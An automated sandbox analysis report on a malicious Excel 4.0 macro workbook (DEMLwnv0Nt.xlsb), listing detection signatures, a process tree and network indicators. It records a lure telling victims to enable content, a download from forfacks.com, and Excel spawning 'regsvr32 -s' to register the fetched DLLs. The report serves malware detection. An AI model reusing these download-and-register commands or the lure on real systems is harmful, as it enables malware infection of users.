Loading ...

Play interactive tourEdit tour

Analysis Report DEMLwnv0Nt.xlsb

Overview

General Information

Sample Name:DEMLwnv0Nt.xlsb
Analysis ID:432040
MD5:de89502fa0ed1e751a5c68ef542113e6
SHA1:776a87b2f73019ac58990fccbc3f5720484c3cf7
SHA256:449e2cb6732de53677803fd5badb9e93c210df49b272b8c319d82a547db3722a
Tags:xlsbxlsx
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found abnormal large hidden Excel 4.0 Macro sheet
Sigma detected: Microsoft Office Product Spawning Windows Shell
Allocates a big amount of memory (probably used for heap spraying)
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Yara detected Xls With Macro 4.0

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 7024 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 4944 cmdline: regsvr32 -s ..\werty1.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 1320 cmdline: regsvr32 -s ..\werty2.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
app.xmlJoeSecurity_XlsWithMacro4Yara detected Xls With Macro 4.0Joe Security

    Sigma Overview

    System Summary:

    barindex
    Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
    Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -s ..\werty1.dll, CommandLine: regsvr32 -s ..\werty1.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 7024, ProcessCommandLine: regsvr32 -s ..\werty1.dll, ProcessId: 4944

    Signature Overview

    Click to jump to signature section

    Show All Signature Results
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
    Source: unknownHTTPS traffic detected: 192.185.48.167:443 -> 192.168.2.4:49733 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 192.185.113.120:443 -> 192.168.2.4:49734 version: TLS 1.2

    Software Vulnerabilities:

    barindex
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
    Document exploit detected (process start blacklist hit)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
    Source: excel.exeMemory has grown: Private usage: 1MB later: 70MB
    Source: global trafficDNS query: name: forfacks.com
    Source: global trafficTCP traffic: 192.168.2.4:49733 -> 192.185.48.167:443
    Source: global trafficTCP traffic: 192.168.2.4:49733 -> 192.185.48.167:443
    Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
    Source: unknownDNS traffic detected: queries for: forfacks.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.aadrm.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.cortana.ai
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.diagnostics.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.microsoftstream.com/api/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.office.net
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.onedrive.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://apis.live.net/v5.0/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://augloop.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://augloop.office.com/v2
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cdn.entity.
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://clients.config.office.net/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://config.edge.skype.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cortana.ai
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cortana.ai/api
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://cr.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dataservice.o365filtering.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dataservice.o365filtering.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dev.cortana.ai
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://devnull.onenote.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://directory.services.
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://graph.ppe.windows.net
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://graph.ppe.windows.net/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://graph.windows.net
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://graph.windows.net/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://incidents.diagnostics.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://lifecycle.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://login.microsoftonline.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://login.windows.local
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://management.azure.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://management.azure.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://messaging.office.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://ncus.contentsync.
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://ncus.pagecontentsync.
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://officeapps.live.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://onedrive.live.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://onedrive.live.com/embed?
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://outlook.office.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://outlook.office365.com/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://powerlift.acompli.net
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://settings.outlook.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://shell.suite.office.com:1443
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://skyapi.live.net/Activity/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://staging.cortana.ai
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://store.office.cn/addinstemplate
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://store.office.com/addinstemplate
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://store.office.de/addinstemplate
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://tasks.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://templatelogging.office.com/client/log
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://web.microsoftstream.com/video/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://webshell.suite.office.com
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://wus2.contentsync.
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://wus2.pagecontentsync.
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
    Source: AA310D15-039E-4B86-9827-EDEE6B2EFE37.0.drString found in binary or memory: https://www.odwebp.svc.ms
    Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
    Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
    Source: unknownHTTPS traffic detected: 192.185.48.167:443 -> 192.168.2.4:49733 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 192.185.113.120:443 -> 192.168.2.4:49734 version: TLS 1.2

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 4Screenshot OCR: Enable Content ' ' 14 15 / , 16 " 17 18 WHY I CANNOT OPEN THIS DOCUMENT ? 19 20 21 W You
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: DEMLwnv0Nt.xlsbInitial sample: EXEC
    Found abnormal large hidden Excel 4.0 Macro sheetShow sources
    Source: DEMLwnv0Nt.xlsbInitial sample: Sheet size: 8595
    Source: DEMLwnv0Nt.xlsbInitial sample: Sheet size: 7538
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
    Source: classification engineClassification label: mal68.expl.evad.winXLSB@5/10@2/2
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{E0F9667A-771E-4A29-BB8F-202DC61ACE85} - OProcSessId.datJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty1.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty2.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty1.dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty2.dllJump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: DEMLwnv0Nt.xlsbInitial sample: OLE zip file path = xl/media/image1.png
    Source: DEMLwnv0Nt.xlsbInitial sample: OLE zip file path = xl/media/image2.png
    Source: DEMLwnv0Nt.xlsbInitial sample: OLE zip file path = xl/media/image3.png
    Source: DEMLwnv0Nt.xlsbInitial sample: OLE zip file path = xl/media/image4.png
    Source: DEMLwnv0Nt.xlsbInitial sample: OLE zip file path = xl/media/image5.png
    Source: DEMLwnv0Nt.xlsbInitial sample: OLE zip file path = xl/media/image6.png
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\werty1.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
